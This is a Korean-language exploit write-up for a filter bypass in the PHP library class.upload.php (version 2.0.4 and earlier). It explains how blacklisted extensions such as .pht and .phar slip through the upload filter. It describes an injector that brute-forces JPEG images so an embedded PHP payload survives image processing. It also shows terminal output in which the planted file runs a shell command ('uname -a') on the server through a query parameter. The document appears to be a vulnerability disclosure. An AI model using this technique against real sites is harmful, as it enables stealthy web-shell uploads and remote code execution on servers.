
이것은 class.upload.php <= 2.0.4에서 임의 파일 업로드 및 원격 코드 실행을 유발하는 필터 우회 익스플로잇입니다.
이것은 임의 파일 업로드 및 원격 코드 실행을 유발하는 필터 우회 익스플로잇입니다. class.upload.php 스크립트는 "위험한 파일 및 콘텐츠"를 필터링하고 확장자를 txt로 변경합니다. 또한 업로드된 이미지에 다양한 변환을 수행하므로, 파일 확장자 필터를 우회하더라도 일반적으로 주입된 페이로드를 파괴합니다.
파일 확장자 필터는 블랙리스트 방식이므로, 새 확장자가 도입되거나(이 경우 pht) 어떤 확장자가 누락될 때마다 PHP 파일을 업로드할 수 있습니다. 그러나 콘텐츠는 여전히 유효한 이미지여야 하며 imagecreatefromjpeg 및 유사한 함수를 계속 거쳐야 합니다. 이를 위해 inject.php 스크립트를 작성했습니다. 이 스크립트는 기본적으로 여러 이미지를 무차별 대입(bruteforce)하여 class.upload.php에서 수행되는 프로세스로 인해 페이로드가 파괴되지 않는 이미지를 찾습니다. 이는 여전히 유효한 이미지이며 업로드된 페이지에서 이미지로 표시되므로 사실상 임의 파일 업로드와 매우 은밀한 코드 실행을 가능하게 합니다.
inject.php 스크립트는 곧 이 유형의 공격을 위한 보다 일반적인 도구로 다시 작성될 예정이지만, 현재는 이 유형의 CVE 릴리스에 개별 스크립트로 포함됩니다.
upload.php 스크립트는 verot.net의 GitHub에 있는 예제 코드입니다. 이 취약점을 그들의 자체 예제 코드를 사용하여 시연하는 것이 가장 좋다고 생각했습니다.
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.8=-
[+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.pht
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU